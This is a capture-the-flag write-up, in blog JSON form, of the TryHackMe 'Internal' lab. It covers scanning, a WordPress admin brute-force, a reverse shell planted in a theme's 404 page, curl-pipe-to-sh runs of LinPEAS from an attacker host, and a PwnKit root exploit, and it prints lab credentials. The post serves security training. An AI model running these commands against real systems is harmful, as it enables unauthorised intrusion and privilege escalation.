{"id":3352,"date":"2023-09-13T08:30:00","date_gmt":"2023-09-13T06:30:00","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3352"},"modified":"2023-09-11T11:21:16","modified_gmt":"2023-09-11T09:21:16","slug":"tryhackme-internal-write-up","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/","title":{"rendered":"TryHackMe | Internal | Write Up"},"content":{"rendered":"\n

The realm of cybersecurity is as vast as it is intriguing, and every once in a while, a challenge comes along that truly tests our mettle as ethical hackers. Such was the case with the ‘Internal’ Capture The Flag (CTF) challenge on TryHackMe.<\/p>\n\n\n\n

Imagine being handed an environment, just weeks away from going live, with the simple directive: “See if you can break in.” No hand-holding, no hints\u2014just you, your skills, and a digital fortress waiting to be breached. This isn’t just a game; it’s a simulation of a real-world scenario where penetration testers are given minimal information and tasked with assessing potential vulnerabilities.<\/p>\n\n\n\n

In this post, I’ll walk you through my journey tackling the ‘Internal’ challenge. With two elusive flags\u2014User.txt and Root.txt\u2014as the prime objectives, and a myriad of potential entry points and vulnerabilities to discover, this CTF isn’t for the faint of heart.<\/p>\n\n\n\n

What tools did I opt for, especially considering the challenge can be completed without Metasploit? How did I strategize my approach to mimic an actual penetration test? Dive in, as we navigate through the digital labyrinth of ‘Internal’, gleaning insights and tactics that are invaluable for both aspiring and experienced penetration testers.<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n\n\n\n\n

Enumeration<\/h3>\n\n\n\n

Let\u2019s start with basic NMAP scan:<\/p>\n\n\n\n

nmap -n -Pn -sT -sV -T4 -v internal.thm<\/code><\/pre>\n\n\n\n
We will see two ports open:<\/p>\n\n\n\n
PORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n80\/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n
Probably, we have discovered a Linux server. Now while we trying to discover more information, we will scan all the server ports with NMAP:<\/p>\n\n\n\n
nmap -n -Pn -sT -sV -T4 -p- -v internal.thm<\/code><\/pre>\n\n\n\n
After check all the server ports we have the same result:<\/p>\n\n\n\n
PORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n80\/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n
So we will check the web server through our web client:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
We have found the default Apache2 web page and if we check the source code we don\u2019t see nothing. The next step is try to detect hidden directories with gobuster:<\/p>\n\n\n\n
gobuster dir -u http:\/\/internal.thm -w \/usr\/share\/wordlists\/dirb\/common.txt<\/code><\/pre>\n\n\n\n
We have discovered some directories:<\/p>\n\n\n\n
\/.hta (Status: 403)\n\/.htpasswd (Status: 403)\n\/.htaccess (Status: 403)\n\/blog (Status: 301)\n\/index.html (Status: 200)\n\/javascript (Status: 301)\n\/phpmyadmin (Status: 301)\n\/server-status (Status: 403)\n\/wordpress (Status: 301)<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Probably we have found a WordPress installation:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Also we have discovered the user \u201cadmin\u201d exists:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
We have discovered phpMyAdmin access page:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Let\u2019s try to detect WordPress vulnerabilities with \u201cWPScan\u201d:<\/p>\n\n\n\n
wpscan --url http:\/\/internal.thm<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Important information that we have discovered (XML-RPC, WordPress Readme, WP-Cron and WordPress version):<\/p>\n\n\n\n
[+] XML-RPC seems to be enabled: http:\/\/internal.thm\/blog\/xmlrpc.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n | References:\n |  - http:\/\/codex.wordpress.org\/XML-RPC_Pingback_API\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_ghost_scanner\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/dos\/http\/wordpress_xmlrpc_dos\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_xmlrpc_login\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_pingback_access\n\n[+] WordPress readme found: http:\/\/internal.thm\/blog\/readme.html\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n\n[+] The external WP-Cron seems to be enabled: http:\/\/internal.thm\/blog\/wp-cron.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 60%\n | References:\n |  - https:\/\/www.iplocation.net\/defend-wordpress-from-ddos\n |  - https:\/\/github.com\/wpscanteam\/wpscan\/issues\/1299\n\n[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).\n | Found By: Rss Generator (Passive Detection)\n |  - http:\/\/internal.thm\/blog\/index.php\/feed\/, <generator>https:\/\/wordpress.org\/?v=5.4.2<\/generator>\n |  - http:\/\/internal.thm\/blog\/index.php\/comments\/feed\/, <generator>https:\/\/wordpress.org\/?v=5.4.2<\/generator><\/code><\/pre>\n\n\n\n
Initial explotation<\/h3>\n\n\n\n
Let\u2019s try to bruteforce WordPress \u201cadmin\u201d sser with WPXploit through XML-RPC:<\/p>\n\n\n\n
$ git clone https:\/\/github.com\/relarizky\/wpxploit.git\n$ cd wpxploit\n$ pip3 install -r requirements.txt\n$ python3 exploit.py http:\/\/internal.thm\/blog\/ 5 15<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Finally, we have found credentials for the user \u201cadmin\u201d:<\/p>\n\n\n\n
admin:my2boys<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
So, let\u2019s try to access to the admin panel with the credentials and we will see we have access:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Now let\u2019s try to execute a reverse shell. We will edit the default 404 page to execute our reverse shell:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Now we need to turn on our listener:<\/p>\n\n\n\n
nc -lvnp 4433<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Now we need to access to the 404 default page:<\/p>\n\n\n\n
http://internal.thm\/blog\/wp-content\/themes\/twentyseventeen\/404.php<\/code><\/pre>\n\n\n\n
So we will receive our reverse shell:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Privilege escalation 1<\/h3>\n\n\n\n
But we don\u2019t have access to the user yet. Then we will need to enumerate more with this shell. Let\u2019s check the home directory:<\/p>\n\n\n\n
ls -la \/home<\/code><\/pre>\n\n\n\n
We have discovered an interesting directory:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Let\u2019s check the \u201c\/etc\/passwd\u201d:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
We can confirm the user \u201caubreanna\u201d exists. The next movement will be check the credentials from \u201cwp-config.php\u201d because we can find more information in phpMyAdmin panel:<\/p>\n\n\n\n
cat wp-config.php<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
We don\u2019t find more information into the phpMyAdmin. Let\u2019s run LinPEAS to try to detect something but first we will turn on our web server to execute linpeas in our victim:<\/p>\n\n\n\n
python3 -m http.server 8080<\/code><\/pre>\n\n\n\n
Then from our reverse shell we will execute linpeas.sh<\/a> in memory:<\/p>\n\n\n\n
curl 10.10.69.20:8080\/linpeas.sh | sh<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
If you remember we know we have the phpmyadmin application installed. So let\u2019s check it:<\/p>\n\n\n\n
Readable files belonging to root and readable by me but not world readable\n-rw-r----- 1 root www-data 68 Aug  3  2020 \/var\/lib\/phpmyadmin\/blowfish_secret.inc.php\n-rw-r----- 1 root www-data 0 Aug  3  2020 \/var\/lib\/phpmyadmin\/config.inc.php\n-rw-r----- 1 root www-data 527 Aug  3  2020 \/etc\/phpmyadmin\/config-db.php\n-rw-r----- 1 root www-data 8 Aug  3  2020 \/etc\/phpmyadmin\/htpasswd.setup<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
We will check the directories but unfortunately we didn\u2019t find nothing we can use:<\/p>\n\n\n\n
$ cat \/var\/lib\/phpmyadmin\/blowfish_secret.inc.php\n<?php\n$cfg['blowfish_secret'] = '6wqoJ$mf_Wv($r?g$l4+#P#lAoCVVUM3';<\/code><\/pre>\n\n\n\n
$ cat \/etc\/phpmyadmin\/config-db.php\n<?php\n##\n## database access settings in php format\n## automatically generated from \/etc\/dbconfig-common\/phpmyadmin.conf\n## by \/usr\/sbin\/dbconfig-generate-include\n##\n## by default this file is managed via ucf, so you shouldn't have to\n## worry about manual changes being silently discarded.  *however*,\n## you'll probably also want to edit the configuration file mentioned\n## above too.\n##\n$dbuser='phpmyadmin';\n$dbpass='B2Ud4fEOZmVq';\n$basepath='';\n$dbname='phpmyadmin';\n$dbserver='localhost';\n$dbport='3306';\n$dbtype='mysql';<\/code><\/pre>\n\n\n\n
But after more enumeration we have found an interesting file:<\/p>\n\n\n\n
cat \/opt\/wp-save.txt<\/code><\/pre>\n\n\n\n
With the \u201caubreanna\u201d credentials:<\/p>\n\n\n\n
Bill,\n\nAubreanna needed these credentials for something later.  Let her know you have them and where they are.\n\naubreanna:bubb13guM!@#123<\/code><\/pre>\n\n\n\n
Let\u2019s check if we can access through SSH:<\/p>\n\n\n\n
ssh aubreanna@internal.thm<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Now we have access to the user flag.<\/p>\n\n\n\n
Privilege Escalation 2<\/h3>\n\n\n\n
In this point we need to keep enumerating. So we will check the home directory:<\/p>\n\n\n\n
ls -la<\/code><\/pre>\n\n\n\n
aubreanna@internal:~$ ls -la\ntotal 56\ndrwx------ 7 aubreanna aubreanna 4096 Aug  3  2020 .\ndrwxr-xr-x 3 root      root      4096 Aug  3  2020 ..\n-rwx------ 1 aubreanna aubreanna    7 Aug  3  2020 .bash_history\n-rwx------ 1 aubreanna aubreanna  220 Apr  4  2018 .bash_logout\n-rwx------ 1 aubreanna aubreanna 3771 Apr  4  2018 .bashrc\ndrwx------ 2 aubreanna aubreanna 4096 Aug  3  2020 .cache\ndrwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 .gnupg\ndrwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 .local\n-rwx------ 1 root      root       223 Aug  3  2020 .mysql_history\n-rwx------ 1 aubreanna aubreanna  807 Apr  4  2018 .profile\ndrwx------ 2 aubreanna aubreanna 4096 Aug  3  2020 .ssh\n-rwx------ 1 aubreanna aubreanna    0 Aug  3  2020 .sudo_as_admin_successful\n-rwx------ 1 aubreanna aubreanna   55 Aug  3  2020 jenkins.txt\ndrwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 snap\n-rwx------ 1 aubreanna aubreanna   21 Aug  3  2020 user.txt<\/code><\/pre>\n\n\n\n
If we check the file \u201cjenkins.txt\u201d we can see this:<\/p>\n\n\n\n
aubreanna@internal:~$ cat jenkins.txt \nInternal Jenkins service is running on 172.17.0.2:8080<\/code><\/pre>\n\n\n\n
Also, if we check the directory \u201csnap\u201d we can see a docker directory:<\/p>\n\n\n\n
aubreanna@internal:~$ ls -la snap\ntotal 12\ndrwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 .\ndrwx------ 7 aubreanna aubreanna 4096 Aug  3  2020 ..\ndrwx------ 2 aubreanna aubreanna 4096 Aug  3  2020 docker\naubreanna@internal:~$ ls -la snap\/docker\/\ntotal 8\ndrwx------ 2 aubreanna aubreanna 4096 Aug  3  2020 .\ndrwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 ..\nlrwxrwxrwx 1 aubreanna aubreanna    3 Aug  3  2020 current -> 471<\/code><\/pre>\n\n\n\n
We have information but we will execute LinPEAS to give us more information. We will execute our LinPEAS in memory, so, first of all we need to turn on our web server with python:<\/p>\n\n\n\n
python3 -m http.server 8080<\/code><\/pre>\n\n\n\n
Then we can execute LinPEAS in memory:<\/p>\n\n\n\n
curl 10.10.14.171:8080\/linpeas.sh | sh<\/code><\/pre>\n\n\n\n
We can check if the vulnerability \u201cPwnKit<\/a>\u201d is exploitable:<\/p>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
In this point we will upload this exploit:<\/p>\n\n\n\n
aubreanna@internal:~$ curl 10.10.14.171:8080\/PwnKit >> PwnKit.sh\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100 18040  100 18040    0     0  1355k      0 --:--:-- --:--:-- --:--:-- 1355k<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Let\u2019s execute this exploit:<\/p>\n\n\n\n
aubreanna@internal:~$ ls \nPwnKit.sh  jenkins.txt  snap  user.txt\naubreanna@internal:~$ chmod +x PwnKit.sh \naubreanna@internal:~$ .\/PwnKit.sh \nroot@internal:\/home\/aubreanna#<\/code><\/pre>\n\n\n\n
\"Untitled\"\/<\/figure>\n\n\n\n
Then we will have access to root flag.<\/p>\n\n\n\n
\n\n\n\n
\ud83d\udd12 Hardsoft Security<\/a> offers cybersecurity consulting services, ensuring that your business is always protected against the latest threats. And if you’re looking for hosting that prioritizes security, Secure Hosting<\/a> is your ideal solution. We help keep your website safe with the best cybersecurity practices through our specialized cybersecurity advice.<\/p>\n\n\n\n
Don’t wait to be the next target. Secure your online presence with the best solutions and services on the market. Contact Hardsoft Security<\/a> and Secure Hosting<\/a> today!<\/p>\n\n\n\n
(Cybersecurity is not a luxury but a necessity. Protect your investment and your online reputation.).<\/p>\n","protected":false},"excerpt":{"rendered":"
The realm of cybersecurity is as vast as it is intriguing, and every once in a while, a challenge comes along that truly tests our mettle as ethical hackers. Such …<\/p>\n","protected":false},"author":1,"featured_media":3355,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"Dived deep into the 'Internal' CTF on TryHackMe and unraveled its mysteries! From strategy to action, journey with me through a real-world pen-test simulation. Whether a hacker pro or just starting, this post is a treasure trove of insights. \ud83d\ude80\ud83d\udd10 Dive in!","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[462,460,383,459,461,358,463,389,360],"class_list":["post-3352","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-capturetheflag-2","tag-cybersecuritychallenge","tag-ethicalhacking","tag-internalctf","tag-nometasploit","tag-penetrationtesting","tag-realworldscenario","tag-tryhackme","tag-vulnerabilityassessment"],"yoast_head":"\nTryHackMe | Internal | Write Up - Hardsoft Security<\/title>\n<meta name=\"description\" content=\"Explore the 'Internal' CTF challenge on TryHackMe with us. Dive into penetration testing scenarios and solutions to enhance your skills.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"TryHackMe | Internal | Write Up - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Explore the 'Internal' CTF challenge on TryHackMe with us. Dive into penetration testing scenarios and solutions to enhance your skills.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2023-09-13T06:30:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1\" \/>\n\t<meta property=\"og:image:width\" content=\"1226\" \/>\n\t<meta property=\"og:image:height\" content=\"681\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"TryHackMe | Internal | Write Up\",\"datePublished\":\"2023-09-13T06:30:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/\"},\"wordCount\":814,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1\",\"keywords\":[\"CaptureTheFlag\",\"CybersecurityChallenge\",\"EthicalHacking\",\"InternalCTF\",\"NoMetasploit\",\"PenetrationTesting\",\"RealWorldScenario\",\"TryHackMe\",\"VulnerabilityAssessment\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/\",\"name\":\"TryHackMe | Internal | Write Up - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1\",\"datePublished\":\"2023-09-13T06:30:00+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"description\":\"Explore the 'Internal' CTF challenge on TryHackMe with us. Dive into penetration testing scenarios and solutions to enhance your skills.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1\",\"width\":1226,\"height\":681},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/09\\\/13\\\/tryhackme-internal-write-up\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"TryHackMe | Internal | Write Up\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"TryHackMe | Internal | Write Up - Hardsoft Security","description":"Explore the 'Internal' CTF challenge on TryHackMe with us. Dive into penetration testing scenarios and solutions to enhance your skills.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/","og_locale":"es_ES","og_type":"article","og_title":"TryHackMe | Internal | Write Up - Hardsoft Security","og_description":"Explore the 'Internal' CTF challenge on TryHackMe with us. Dive into penetration testing scenarios and solutions to enhance your skills.","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2023-09-13T06:30:00+00:00","og_image":[{"width":1226,"height":681,"url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"9 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"TryHackMe | Internal | Write Up","datePublished":"2023-09-13T06:30:00+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/"},"wordCount":814,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1","keywords":["CaptureTheFlag","CybersecurityChallenge","EthicalHacking","InternalCTF","NoMetasploit","PenetrationTesting","RealWorldScenario","TryHackMe","VulnerabilityAssessment"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/","name":"TryHackMe | Internal | Write Up - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1","datePublished":"2023-09-13T06:30:00+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"description":"Explore the 'Internal' CTF challenge on TryHackMe with us. Dive into penetration testing scenarios and solutions to enhance your skills.","breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1","width":1226,"height":681},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"TryHackMe | Internal | Write Up"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing 